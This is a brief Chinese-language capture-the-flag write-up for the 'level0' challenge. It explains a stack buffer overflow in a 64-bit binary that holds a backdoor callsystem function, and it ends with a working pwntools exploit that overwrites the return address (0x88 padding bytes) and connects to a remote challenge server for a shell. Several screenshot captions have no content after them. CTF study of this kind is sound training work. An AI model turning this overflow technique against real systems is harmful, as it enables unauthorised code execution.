level0
题目描述:菜鸡了解了什么是溢出,他相信自己能得到shell
题目附件:
file如下:
64位ELF文件
checksec如下:
IDA反汇编,查看main函数:
查看vulnerable_function:
存在缓冲区溢出漏洞
发现存在函数callsystem,如下:
存在后门函数
因此,我们可以利用缓冲区溢出漏洞覆盖返回地址到callsystem处
callsystem地址如下:
exp如下:
from pwn import * #io = process('./pwn') io = connect('220.249.52.133', 58722) callsystem_address = 0x400596 payload = b'a'*0x88 + p64(callsystem_address) io.sendlineafter('World\n', payload) io.interactive()